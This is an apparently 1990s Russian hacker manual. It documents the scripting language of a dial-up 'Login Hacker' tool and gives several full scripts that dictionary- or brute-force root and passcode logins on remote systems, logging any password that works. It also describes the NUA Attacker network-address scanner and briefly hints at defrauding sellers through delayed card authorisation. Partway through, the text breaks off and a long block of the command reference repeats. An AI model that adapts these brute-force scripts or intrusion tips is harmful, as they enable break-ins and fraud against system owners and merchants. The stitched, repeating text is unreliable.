Страница:
команда LOG() автоматически печатает возврат каретки.
Примеры:
LOG(Beginning on $DATE * $TIME)
Будет выведено следующее:
"Beginning on 24-12-96 * 23:00"
LOG_(STRING)
Этот пример аналогичен вышеприведенному, за исключением того, что после
текста отсутствует CRLF (End-Of-Line).
:NUMBER
Каждая линия, начинающаяся с : (двоеточия) маркируется оператором GOTO.
Вы можете использовать 240 маркировок в диапазоне от 1 до 240. Другие номера
неприемлемы. Переход к нужному маркеру осуществляется командами передачи
управления GOTO, GOSUB, CHECK4OUTPUT и CHECK4CARRIER.
Например: :1
В этом примере на соответствующую строку выполняется переход к точке с
номером 1.
GOTO(NUMBER)
Передать управление на маркировку перехода. Вы можете также осуществить
переход командами #START, #NOCARRIER и #END.
Например: GOTO(#END) (выполнение скрипта завершено).
GOSUB(NUMBER)
С командой подстановки GOSUB вы осуществляете переход к следующей
маркировке. Команда GOSUB, как правило исполняется уже после перехода на
следующий маркер, то есть в тот момент, когда команды GOSUB и RETURN
столкнутся между собой. Обратите внимание, что вот такая команда невозможна:
GOSUB(#END).
Например: GOSUB(4)
RETURN
Это так называемая команда выхода из подпрограммы. Используя эту
команду, вы можете возвратиться к местоположению последней выполненной
команды GOSUB и продолжить обычное выполнение скрипта. Если в буферном
регистре команда RETURN сталкивается с несуществующим начальным адресом
GOSUB, то она будет игнорироваться. В одном буферном регистре вы можете
иметь до 255 подстановок GOSUB.
Например: RETURN
CHECK4CARRIER(NUMBER)
Проверка модема на соединение с линией, то есть проверка на несущую
частототу. Команда будет выполняться в случае отсутствия перехода к
указанной маркировке (переход соответствует команде GOTO). Если переход
обнаружен, то устанавливается внутреннее соединение с переменной TRUE для
проверки на NO_CARRIERS. Вы можете также осуществлять процедуры перехода к
*NOCARRIER, *START и *END. Также возможно осуществить проверку модема только
на ON или OFF. Если команда CHECK4CARRIER(ON) выполнена с переходом к
маркеру, отмечающему обнаружение линии, и, если представлен NOT, то
управление передается на *NoCarrier. Эта команда полезна только в том
случае, когда вы оказываетесь на CHECK4CARRIER(OFF) и не хотите использовать
команду DIAL, чтобы соединиться с удаленной системой (позвольте набрать
номер SCAVENGER DIALER).
Примеры:
CHECK4CARRIER(#NOCARRIER)
CHECK4CARRIER(5)
CHECK4CARRIER(ON)
CHECK4CARRIER(OFF)
CHECK4OUTPUT(NUMBER)
Это будет выполнено подобно нижеописанной функции ALARM: Если выходной
сигнал (OUTPUT) модема обнаружен, то переходы будут осуществляться
непосредственно к указанной маркировке. Вы можете также передать управление
к *NOCARRIER, *START и *END. Также возможно отключить проверку на OFF, то
есть заблокировать указанную проверку выходного сигнала.
Например:
CHECK4CARRIER(#NOCARRIER)
CHECK4CARRIER(5)
CHECK4CARRIER(OFF)
DIAL
Набор номера PHONE_NR. Если с системой нет соединения, то сначала в
модем будет послана команда: "Повесить трубку!".
Например: DIAL
HANGUP
Поднять и опустить трубку.
Например: HANGUP
WAIT4STRING(NUMBER,STRING,NUMBER,
COMMAND,STRING)
В представленном здесь языке скриптов это самая важная команда. После
ее выполнения выходной сигнал модема будет находиться в состоянии ожидания.
В этот момент должна начаться загрузка специального слова. Если стыковка
осуществлена, то скрипт продолжается, если -- нет, то после таймаута в модем
будет отправлена заданная последовательность, затем -- вновь таймаут и,
наконец, идет выполнение команды.
Важно: Сначала команда WAIT4STRING проверяет текущую строку с
представленным словом. Синтаксис: WAIT4STRING(a,b,c,d,e).
a
Определить таймаут в диапазоне от 0 до 255 секунд. Ноль соответствует
неограниченному ожиданию, то есть ждать до тех пор пока не наступит так
называемый TOTAL TIMEOUT (скрипт переходит в секцию #NOCARRIER в том случае,
если данные не поступают из модема в течение пяти минут). Если ничего не
получено, то последовательность в потоке данных распознается снова, или в
какой-то момент несущая частота объявляется потерянной.
b
Последовательность данных, которая будет послана в модем после
таймаута.
c
Частота отказов или количество общего времени, в течение которого может
выполняться фатальная команда. Диапазон: от 0 до 255 (0=никогда, 1=первый
раз).
d
Выполнение специальной фатальной команды. Это могут быть любые команды,
исключая: ALARM, WAIT4STRING и IF.
e
Последовательность данных для ожидания. Данные чувствительны к
регистру.
Например: WAIT4STRING(15,^M,2,GOTO(1),ogin:)
В этом примере происходит ожидание последовательности ogin: в течение
15 секунд. Если стыковка не получилась, а каретка возвращается в модем (^M),
то команда снова ждет 15 секунд, пока вновь не наладится стыковка с
последовательностью данных ogin:.
Как только истекут следующие 15 секунд, вызывается фатальная команда,
что означает переход к GOTO с меткой под номером 1.
LOG_SESSION_ON
Начиная с этого пункта, все данные поступающие из модема записываются в
файл регистрации.
Например: LOG_SESSION_ON
LOG_SESSION_OFF
Если содержимое экрана записано в файл регистрации, то к этому пункту
больше не будет обращений.
Например: LOG_SESSION_OFF
SEND(STRING)
Команда SEND передает последовательность данных в модем. Через эту
команду вы можете пересылать в модем переменные со знаком $. В конец
последовательности передается возврат каретки. Если последовательность
данных не задана, то сразу осуществляется переход на возврат каретки.
Например:
SEND(echo Hacked you system Time: $TIME - Date:
$DATE > HACKED.TXT)
В данном примере команда SEND посылает в модем следующую строку:
echo HAcked your system Time: 23:00 - Date: 24-12-95 > HACKED.TXT
SEND_()
Эта команда аналогична вышеописанной, но она не посылает в модем символ
возврата каретки ^M. Ее можно использовать, если вам нужно загрузить в модем
только один символ или командный режим +++.
Примеры:
SEND_(n)
SEND_(+++)
SEND_NEXT_DIC(NUMBER)
Например: SEND_NEXT_DIC(1)
SEND_DIC(NUMBER)
Переслать текущий словарь в модем.
Например: SEND_DIC(1)
NEXT_DIC(NUMBER)
Переместиться на слово, соответствующее аргументу NUMBER.
Например: NEXT_DIC(1)
SEND_NEXT_BRUTE(NUMBER)
Используя Brute Force Generator, сгенерировать следующую допустимую
последовательность и переслать ее в модем.
Например: SEND_NEXT_BRUTE(1)
SEND_BRUTE(NUMBER)
Переслать в модем текущую последовательность допустимых данных из
словаря Brute Force Generator.
Например: SEND_BRUTE(1)
NEXT_BRUTE(NUMBER)
Сгенерировать следующую допустимую последовательность данных из словаря
Brute Force Generator.
Например: NEXT_BRUTE(1)
IF VARIABLE OPERATOR STRING THEN COMMAND
Команда IF первой версии этой программы не очень гибкая. Синтаксис этой
команды следующий:
IF THEN
Означает равносильность при аргументе =, больше или меньше при
аргументах < или > соответственно и переменную содержащую любую
последовательность слов при аргументе ~. Переменные и последовательности
должны быть дискретными переменными.
Эта команда выполнится в том случае, если будет соблюдено условие TRUE.
Чтобы ее использовать, просмотрите список команд для оператора WAIT4STRING.
Например:
IF STRING~ogin THEN GOTO(3)
То есть, если текущая строка (STRING) содержит дискретную (~)
последовательность данных ogin, то идти (GOTO) к маркеру с номером 3.
EXECUTE(STRING)
Выполнить DOS-программу, а затем запустить скрипт. Вы должны включить
переменные в выполняему строку. Вы также должны выполнить соответствующие
внутренние команды MS DOS. Помните, что перед переменной может стоять знак $
с возможными пробелами позади и впереди самого знака.
Важно: Если вы хотите запустить программу в то время, когда по вашему
скрипту осуществлено соединение, то вы должны использовать драйвер fossil. В
противном случае ваш компьютер зависнет. Поэтому запустите X00.EXE E 2 перед
выполнением программы Login Hacker.
Важно: Чтобы ваша программа не была повреждена, предварительно
сохраните ее в каталоге отличном от исходного.
Примеры:
EXECUTE(C:\SB\VPLAY C:\SB\VOC\HACKED.VOC)
EXECUTE(COPY $LOGFILE C:\HACKED)
ALARM(STRING,COMMAND)
Опасно! Нажимать на спусковой крючок! Если на удаленном компьютере
сработала система защиты, то вы будете активны до тех пор, пока не
выполнится эта команда.
STRING
Последовательность, для которой осуществляется поиск данных с их
последующей передачей в модем.
COMMAND
Эта команда будет выполнена после стыковки. Чтобы ее использовать,
просмотрите листинг команд для WAIT4STRING. Примените эту команду в том
случае, например, если вы взломали BBS, а сисоп вас раскусил и задает глупые
вопросы. После этой команды вы автоматически прервете соединение и
остановите выполнение скрипта.
Например:
ALARM(chat,GOTO(#END))
SET VARIABLE=STRING
Этой командой вы определяете переменную в секции #START или #NOCARRIER.
Если переменная является статической переменной, то вы должны это отметить.
Вы должны устанавливать только следующие переменные: STRING, DIAL_TRIED,
LOGIN_TRIED, S_TMP и D_TMP.
Например:
SET D_TMP=3
Определить статическую переменную D_TMP в качестве 3.
INC(DIGIT_VARIABLE)
Увеличить число указанной переменной на 1. Эта команда будет выполнена
лишь в том случае, если переменная после дополнения не находится в указанном
диапазоне.
Имеют силу следующие команды: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES,
LOGIN_TRIED и D_TMP.
Например: INC(D_TMP)
DEC(DIGIT_VARIABLE)
Уменьшить чило указанной переменной на 1. Эта команда будет выполнена
лишь в том случае, если переменная после вычитания не будет находиться вне
указанного диапазона.
Имеют силу следующие команды: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES,
LOGIN_TRIED и D_TMP.
Например:
DEC(D_TMP)
WAIT(NUMBER)
Ожидать до тех пор, пока идут секунды, определенные аргументом NUMBER.
Аргумент NUMBER соответствует любому числу в диапазоне от 1 до 65535.
Например: WAIT(10) (десять секунд)
WAIT_(NUMBER)
Ожидать до тех пор, пока идут миллисекунды, определенные аргументом
NUMBER. Аргумент NUMBER соответствует любому числу в диапазоне от 1 до
65535.
Например: WAIT(500) (полсекунды)
BEEP
Создает сигнал, похожий на легкий звук бибикалки!
Переменные и управляющие символы
Речь идет о переменных, которые могут быть использованы в командах
SEND() или LOG(). Как уже отмечалось, закачка переменных в модем или файл
регистрации определяется символом $ (доллара), поставленным перед
соответствующей переменной, и пробелами. Вы можете использовать #DEFINE
любые специфические переменные. Вам их нужно только определить.
STRING
Символы пересылаются из модема в последнюю строку.
STRING2
Последние 250 символов отправляются из модема.
DIAL_TRIED
Фактические попытки набора номера.
LOGIN_TRIED
Фактические попытки получить имя и пароль.
TIME
Действительное время в часах и минутах (двоеточие пропускается).
Например, TIME=1505 означает 15:05.
DATE
Текущая дата в формате MMDD. Например, DATE=503 означает 3 мая.
DIC(1)
Текущий загруженный словарь 1.
BRUTE(2)
Текущая строка словаря Brute Force Generator 2.
S_TMP
Переменная строка. Вы можете ее использовать, как вам нравится.
D_TMP
Переменная для цифр. Вы можете ее использовать, как вам нравится.
В командах IF и SET вы можете использовать исключительно вышеописанные
переменные. Переменные из #DEFINE исключаются. Только статические переменные
и константы приемлемы для IF! Не нужно также использовать знак $ перед
переменной. Этот знак допустим только в командах SEND, LOG и WAIT4STRING.
Например:
IF TIME>1215 THEN GOTO #END
(отсоединиться после 12:15).
LOG($DIC(3))
SEND($S_TMP)
Теперь относительно спецсимволов. Вы можете записывать любые
управляющие символы вместе с командами LOG, SEND или WAIT4STRING через знак
^ (шапочка). Это означает, что вы можете ввести, например, ^M или написать
^^ ... окей?, или использовать любые конструкции от ^A до ^Z плюс ^[ ^\ ^] и
^^.
Например:
SEND_(^D)
#DEFINE
<определения>
#NOCARRIER
<некоторые команды>
#START
<ваш алгоритм>
#END
Сообщения об ошибках
Если в процессе компиляции вы получаете сообщение об ошибке, то
помните, что в вашем распоряжении имеется файл.BAK. Просмотрите и
внимательно изучите содержимое этого файла.
При компилировании скрипта может всплыть только два сообщения об
ошибке:
WARNING
Вы что-то не так скомпилировали. Компилятор в любом случае создаст
скрипт, который может запуститься без всяких проблем. Это сообщение,
например, может быть выдано, если невозможно найти указанный словарь.
Возможно, что вы не полностью подготовили копию.
ERROR
Это критическая ошибка. В какой-то момент компилятор прервал
необходимую процедуру завершения. Для исправления этой ошибки проверьте файл
с расширением .BAK и ваш исходный файл.
Пример стандартного скрипта
#DEFINE
PHONE_NR=,
LOGFILE=lh&scave.log
DIC(1)=d:\project\hack\word\badpws.dic
; задайте корректный путь к вашему словарю
#NOCARRIER
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
LOG(Carrier lost on $DATE at $TIME)
LOG()
GOTO(#START)
#START
SET S_TMP=UNDEFINE
;SET S_TMP=DEFINE
HANGUP
LOG_SESSION_ON
SET STRING2=
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr)
IF S_TMP=UNDEFINE THEN SEND(AT H1)
EXECUTE(scavenge.exe /nooutput /s thc&scav.scr)
:111
SEND(ATD)
SET D_TMP=0
:112
WAIT(1)
INC(D_TMP)
IF D_TMP>50 THEN GOTO(99)
CHECK4CARRIER(112)
SEND()
; послать возврат каретки после соединения
:1
WAIT(1)
IF STRING2~assw THEN GOTO(2)
GOTO(1)
:2
SEND_NEXT_DIC(1)
WAIT(2)
IF STRING2~ncorr THEN GOTO(3)
GOTO(50)
:3
SET STRING2=
:4
WAIT(1)
IF STRING2~assw THEN GOTO(5)
GOTO(4)
:5
SEND_NEXT_DIC(1)
WAIT(2)
IF STRING2~ncorr THEN GOTO(6)
GOTO(50)
:6
SET STRING2=
:7
WAIT(1)
IF STRING2~assw THEN GOTO(8)
GOTO(7)
:8
SEND_NEXT_DIC(1)
WAIT4STRING(10,,1,GOTO(50),ncorr)
GOTO(99)
:50
BEEP
BEEP
BEEP
LOG(------------- -----------------)---- -------------------)
LOG($DATE $TIME)
LOG()
LOG(PASSWORD: $DIC(1))
LOG()
GOTO(150)
:99
CHECK4CARRIER(OFF)
IF S_TMP=UNDEFINE THEN GOTO(#START)
EXECUTE(scavenge.exe /s rebreak.scr)
; создание скрипта для перенабора номера и дозвона до цели
GOTO(111)
:150
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
GOTO(#END)
#END
Первый пример скрипта
Системный дескриптор: UNIX на F.
Но вы никогда не должны это делать.
#DEFINE
LOGFILE=C:\OUTPUT\NY-SYS5.LOG
PHONE_NR=I dont tell you ;)
DIAL_TRIES=3
LOGIN_TRIES=0
DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG()
GOTO(#START)
#START
LOG(------------------------- -----)---- -------------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG()
:1
LOG(Dialing ...)
DIAL
LOG($STRING)
LOG_SESSION_ON
SEND()
SEND()
WAIT4STRING(15,^M,4,GOTO(1),name)
SEND( )
LOG_SESSION_OFF
:2
SEND(CONNECT HACK.THIS.SYSTEM.EDU)
:3
WAIT4STRING(30,^C,1,GOTO(2),ogin:)
SEND(root)
WAIT4STRING(20,^D,1,GOTO(2),assword:)
SEND_NEXT_DIC(1)
IF STRING~ogin: THEN GOTO(3)
IF STRING~refused THEN GOTO(2)
LOG()
LOG($STRING)
LOG()
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Login : root)
LOG(Password : $DIC(1))
LOG()
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
Второй пример скрипта
#DEFINE
INIT_MODEM=AT&N15
INIT_DATA=7E1
LOGFILE=C:\OUTPUT\TELEKOM4.LOG
PHONE_NR=I dont tell you ;)
DIAL_TRIES=3
LOGIN_TRIES=0
BRUTE(1)=1,1,1,12
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $BRUTE(1))
LOG()
GOTO(#START)
#START
LOG(-----------------------------------)---- ---------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG()
:1
LOG(Dialing ...)
HANGUP
DIAL
LOG($STRING)
WAIT4STRING(15,^M,4,GOTO(1),PA)
:2
SEND_NEXT_BRUTE(1)
WAIT4STRING(3,^M,2,GOTO(3),PA)
GOTO(2)
:3
LOG_SESSION_ON
SEND()
SEND(?)
SEND(HELP)
SEND(HILFE)
LOG()
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Password : $BRUTE(1))
LOG()
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
Третий пример скрипта
Этот скрипт может быть использован на некоторых небесплатных телефонных
линиях 0130-xxxxxx.
; Система требует пароль
; Неограниченное количество попыток позволяет войти в систему
;
; 30xCrLf
; PASSCODE:*****
;
#DEFINE
INIT_MODEM=AT &F L2
INIT_DATA=8N1
LOGFILE=xxxxxx.LOG
PHONE_NR=0130xxxxxx
DIAL_TRIES=5
LOGIN_TRIES=0
DIC(1)=C:\2\thc-lh09\w1.w
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG()
GOTO(#START)
#START
LOG(------------------- ---------)---- -------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG()
:1
LOG(Dialing ...)
HANGUP
DIAL
LOG($STRING)
WAIT4STRING(30,.^M,3,GOTO(1),PASS)
:2
set string=
SEND_NEXT_DIC(1)
wait(1)
LOG($DIC(1))
; да, регистрироваться с каждой попытки!
WAIT4STRING(15,.^M,3,GOTO(3),PASS)
GOTO(2)
:3
LOG_SESSION_ON
SEND()
SEND(?)
SEND(HELP)
SEND()
LOG()
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Password : $DIC(1))
LOG()
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
Четвертый пример скрипта
Это скрипт предназначен исключительно для платформ Telnet.
#DEFINE
init_modem=z
init_data=8n1
LOGFILE=xxxxxx.log
PHONE_NR=xxxxxx
DIAL_TRIES=0
LOGIN_TRIES=0
DIC(1)=D:\hackusr\dictbig.txt
;dic(2)=d:\hackusr\bigdict2.txt
;dic(3)=d:\hackusr\bigdict3.txt
#NOCARRIER
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG(returning ...)
GOTO(#START)
#START
HANGUP
LOG_SESSION_ON
LOG()
log()
log( HaCK ATTeMPT STaRTeD ......)
log()
log( TaRGeT: $PHONE_NR )
log( DaTe: $DATE )
log( TiMe: $TIME)
log()
log()
log( ......DiaLiNG)
dial
log()
log( ......CoNNeCTeD!)
log()
log()
wait(5)
:1
wait4string(1,^M,5,goto(#start),sername>)
send(fh65)
:2
wait4string(1,^M,5,goto(#start),ocal>)
send(connect 189.25.56.7)
:3
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait4string(1,^C,5,goto(4),ogin:)
send(root)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:4
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait4string(1,^D,5,goto(4),assword:)
send_next_dic(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:5
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:6
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:7
beep
beep
beep
beep
beep
beep
beep
beep
beep
log()
log()
log()
Log(...... HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!)
log()
log( TaRGeT: $PHONE_NR DaTe: $DATE TiMe: $TIME)
log()
log()
log()
log( ACCouNT: root)
log( PaSSWoRD: DIC(1))
log()
log()
log()
#END
Сканирование адресов пользователей
Операции по сканированию сетевых адресов мы разберем на основе весьма
известной программы Network User Address Attacker. Эта программа известного
сообщества P/H/A. NUA Attacker написан на Turbo C 2.0 хакером Доктором
Диссектором. Network User Address Attacker сканирует клавишную панель
SprintNet. При этом программа способна распознать ошибки кодов на SprintNet
и других типах соединений. Каждый отсканированный сетевой адрес может
зарегистрироваться под logfile с описанием возвращенного кода ошибки или
краткой суммой данных главной системы. Таким образом, программа
дозванивается до Net и сканирует сетевые адреса пользователей. Диапазон
сканирования задается атакующим. Кроме этого, в прилагаемом к программе
файле SND390.TXT имеется список некоторых модемных телефонных номеров. Вы
можете, конечно, использовать только известный вам номер, то есть тот номер,
который наиболее близко соответствует вашему региону.
Эта программа может быть наиболее полезной при поиске сетей с
коммутирующими пакетами или на основе UNIX. Автор этой программы надеется,
что любые ошибки, найденные в ней, будут переданы через сообщество P/H/A
хакерам Доктору Диссектору, Темному Шлему, Корейцу Подавителю или Анонимному
Анархисту.
Файлы программы
NUAA.EXE
Программа NUA Attacker.
NUAA.DOC
Документация
README.PHA
Прочтите это сначала!
SND390.TXT
Список телефонных номеров Net.
NUAA.CFG
Отчет о текущей атаке и конфигурации модема.
NUAFILE.PHA
Список сетевых адресов пользователей.
LOGFILE.PHA
Список сетевых адресов пользователей, составленных атакующим. В этом
файле также содержатся коды ответа NUA, полученные атакующим.
Файлы NUAfile и Logfile могут модифицироваться. Файлы NUAFILE.PHA и
LOGFILE.PHA -- это обыкновенные текстовые файлы, вы можете редактировать их
в любом текстовом редакторе. Кроме того, если файл уже существует, то любые
данные добавятся к тому имени файла, которые существуют в файле с меткой
EOF.
Запуск программы
Для запуска NUA Attacker введите с вашей консоли следующее:
C:\ >NUAA [/I]
Параметр /I позволяет вам начать выполнение программы без инициализации
модема перед сканированием адресов. В этом случае, когда вы выберите команду
Begin attack (Начать нападение), NUA Attacker сразу начнет сканирование
адресов (если вы предварительно зарегистрировались в системе, то теперь вы
снова должны зарегистрироваться на Net через приглашение @).
Настройка режима сканирования
Настройка сканирования адресов осуществляется через команду Setup
attack. В появившемся диалоговом окне выполните настройку следующих опций.
Phone Number
Телефонный номер Net (SND390.TXT).
Starting NUA
Начальный сетевой адрес пользователя.
Ending NUA
Конечный сетевой адрес пользователя.
Timeout
Время ожидания ответа от сетевого адреса пользователя.
Log filename
Имя файла, в который будут выводится сообщения об ошибках и информация
о неудачных попытках соединения.
NUA filename
Имя файла, в который будут выводится сетевые адреса пользователей (по
умолчанию это файл NUAFILE.PHA).
Decimals
Включить или отключить режим десятичного сканирования.
Пользователи Net используют сетевые адреса в формате XXXXXX.XX. NUA
Attacker поддерживает сканирование десятичных чисел.
Например, если вы настроите эту опцию так:
Starting NUA: 619100.10
Ending NUA: 619200.10
то программа начнет сканирование с 619100.10, следующий адрес
сканирования соответствует 619100.11, затем пойдет 619100.12 и так далее.
При настройке сканирования вы можете воспользоваться следующими
горячими клавишами:
ESC
Выйти из диалогового окна Setup attack без сохранения модифицированных
параметров.
LT-S
Сохранить модифицированные параметры в память компьютера.
После того, как вы выполните настройку сканирования, вы можете также
сохранить ее на диск выбрав из меню File команду Save options. При этом
сохранятся и все модифицированные параметры настроек модема.
Несколько слов по поводу формата сетевого адреса
Допустим, что вы произвели настройку так:
Starting NUA: 6191 *WRONG*
Ending NUA: 619100 *RIGHT*
Это означает, что сканирование проходит в диапазоне с 6191 по 6199 с
пропуском 6200. Поэтому вы должны настроить параметры сканирования так:
Starting NUA: 619001 *RIGHT*
Ending NUA: 619100 *RIGHT*
То есть, оба числовых поля должны иметь одинаковую длину.
Настройка модема
Настройка модема осуществляется через диалоговое окно Modem parameters.
COM Port
Порт, который использует ваш модем.
Baud Rate
Скорость передачи данных в бодах
(например, 9600).
Initialization
Инициализация терминальной строки перед началом сканирования. Эта опция
также поддерживает Hayes-совместимые модемы.
Dial Prefix
Префикс перед телефонным номером.
Dial Suffix
Символ, который будет стоять после телефонного номера. Этот символ
прошивает ваш модем соответствующим параметром.
Hangup
Прервать последовательность передаваемых данных.
Процесс сканирования
Выберите опцию Begin attack. После этого произойдет следующее:
1. Инициализация модема.
2. Набор номера Net. Этот номер соответствует настройкам, произведенным
в диалоговом окне Setup attack.
3. Ожидание приглашения TERMINAL= и загрузка параметра D1. Параметр D1
означает, что ваш компьютер вошел в сеть.
4. Ожидание приглашения @.
5. Сканирование. Сканирование соответствует параметру Starting NUA
диалогового окна Setup attack.
После того, как сканирование сетевых адресов закончится, NUA Attacker
выйдет из сети.
В процессе сканирования вы можете воспользоваться следующими горячими
клавишами:
ALT-B
Передать в Net сигнал, соответствующий прерыванию соединения.
ALT-H
Повесить трубку. В этом случае программа начнет работать в режиме
Pause.
ALT-X
Повесить трубку, выйти и прекратить атаку.
ESC
Временно остановить процесс сканирования.
В процессе нападения на экране вашего монитора будут появляться
следующие сообщения:
Starting NUA
Сетевой адрес, который программа начинает сканировать.
Ending NUA
Отсканированный сетевой адрес.
Connections
Количество соединений, найденное в текущем сканировании.
Current NUA
Сетевой адрес, который программа отсканировала в данный момент времени.
Log
Logfile.
NUA
NUAfile.
Time/Elapsed
Текущее время и время сканирования.
Status
Код соединения и/или соответствующая информация о состоянии модема.
Last
Код последнего соединения и/или соответствующая информация о состоянии
модема.
В диалоговом окне Setup attack обратите внимание на переключатель в Bad
Pad. Если выбрана опция Y, это означает, что программа посылает в сеть
строку 10 и каждый раз ждет две секунды до тех пор, пока не
появится приглашение @ или TERMINAL=. (то есть, до непосредственной
регистрации на Net). Некоторые клавиатуры медленно реагируют на регистрацию
в сети. Особенно это относится к высоким скоростям. Поэтому, если вы не
можете зарегистрироваться, активизируйте параметр Y.
Кредитные карточки и Internet
Пересылая номер кредитной карточки через Internet, он попадает к
продавцу, который производит так называемую авторизацию (происходит связь с
организацией, ответственной за обработку транзакций). В случае
положительного ответа на запрос, необходимая сумма денег резервируется,
заказанный товар отправляется покупателю, затем деньги снимаются со
специального банковского счета и перечисляются на счет продавца.
Понятно, что если авторизация не будет осуществлена немедленно, то
покупатель может обмануть продавца путем нескольких заказов подряд у
сторонних продавцов.
Проблема немедленной авторизации в Internet пока еще полностью не
решена (многие фирмы используют обыкновенный модем для связи с процессором,
каждый из которых, имеет, как правило, разный формат сообщений).
В настоящее время кредитные карточки и Internet тесно связаны с фирмой
CyberCash (http://www.cybercash.com). CyberCash через Public Key
Cryptography шифрует всю конфиденциальную информацию, касающуюся кредитной
карточки, связь с процессорами осуществляется с помощью так называемого
центрального интерфейса CyberCash Gateway, покупатель инсталлирует на свой
компьютер программу CyberCash Wallet, которая в зашифрованном виде хранит
номер кредитной карточки, продавец осуществляет свою деятельность
Примеры:
LOG(Beginning on $DATE * $TIME)
Будет выведено следующее:
"Beginning on 24-12-96 * 23:00"
LOG_(STRING)
Этот пример аналогичен вышеприведенному, за исключением того, что после
текста отсутствует CRLF (End-Of-Line).
:NUMBER
Каждая линия, начинающаяся с : (двоеточия) маркируется оператором GOTO.
Вы можете использовать 240 маркировок в диапазоне от 1 до 240. Другие номера
неприемлемы. Переход к нужному маркеру осуществляется командами передачи
управления GOTO, GOSUB, CHECK4OUTPUT и CHECK4CARRIER.
Например: :1
В этом примере на соответствующую строку выполняется переход к точке с
номером 1.
GOTO(NUMBER)
Передать управление на маркировку перехода. Вы можете также осуществить
переход командами #START, #NOCARRIER и #END.
Например: GOTO(#END) (выполнение скрипта завершено).
GOSUB(NUMBER)
С командой подстановки GOSUB вы осуществляете переход к следующей
маркировке. Команда GOSUB, как правило исполняется уже после перехода на
следующий маркер, то есть в тот момент, когда команды GOSUB и RETURN
столкнутся между собой. Обратите внимание, что вот такая команда невозможна:
GOSUB(#END).
Например: GOSUB(4)
RETURN
Это так называемая команда выхода из подпрограммы. Используя эту
команду, вы можете возвратиться к местоположению последней выполненной
команды GOSUB и продолжить обычное выполнение скрипта. Если в буферном
регистре команда RETURN сталкивается с несуществующим начальным адресом
GOSUB, то она будет игнорироваться. В одном буферном регистре вы можете
иметь до 255 подстановок GOSUB.
Например: RETURN
CHECK4CARRIER(NUMBER)
Проверка модема на соединение с линией, то есть проверка на несущую
частототу. Команда будет выполняться в случае отсутствия перехода к
указанной маркировке (переход соответствует команде GOTO). Если переход
обнаружен, то устанавливается внутреннее соединение с переменной TRUE для
проверки на NO_CARRIERS. Вы можете также осуществлять процедуры перехода к
*NOCARRIER, *START и *END. Также возможно осуществить проверку модема только
на ON или OFF. Если команда CHECK4CARRIER(ON) выполнена с переходом к
маркеру, отмечающему обнаружение линии, и, если представлен NOT, то
управление передается на *NoCarrier. Эта команда полезна только в том
случае, когда вы оказываетесь на CHECK4CARRIER(OFF) и не хотите использовать
команду DIAL, чтобы соединиться с удаленной системой (позвольте набрать
номер SCAVENGER DIALER).
Примеры:
CHECK4CARRIER(#NOCARRIER)
CHECK4CARRIER(5)
CHECK4CARRIER(ON)
CHECK4CARRIER(OFF)
CHECK4OUTPUT(NUMBER)
Это будет выполнено подобно нижеописанной функции ALARM: Если выходной
сигнал (OUTPUT) модема обнаружен, то переходы будут осуществляться
непосредственно к указанной маркировке. Вы можете также передать управление
к *NOCARRIER, *START и *END. Также возможно отключить проверку на OFF, то
есть заблокировать указанную проверку выходного сигнала.
Например:
CHECK4CARRIER(#NOCARRIER)
CHECK4CARRIER(5)
CHECK4CARRIER(OFF)
DIAL
Набор номера PHONE_NR. Если с системой нет соединения, то сначала в
модем будет послана команда: "Повесить трубку!".
Например: DIAL
HANGUP
Поднять и опустить трубку.
Например: HANGUP
WAIT4STRING(NUMBER,STRING,NUMBER,
COMMAND,STRING)
В представленном здесь языке скриптов это самая важная команда. После
ее выполнения выходной сигнал модема будет находиться в состоянии ожидания.
В этот момент должна начаться загрузка специального слова. Если стыковка
осуществлена, то скрипт продолжается, если -- нет, то после таймаута в модем
будет отправлена заданная последовательность, затем -- вновь таймаут и,
наконец, идет выполнение команды.
Важно: Сначала команда WAIT4STRING проверяет текущую строку с
представленным словом. Синтаксис: WAIT4STRING(a,b,c,d,e).
a
Определить таймаут в диапазоне от 0 до 255 секунд. Ноль соответствует
неограниченному ожиданию, то есть ждать до тех пор пока не наступит так
называемый TOTAL TIMEOUT (скрипт переходит в секцию #NOCARRIER в том случае,
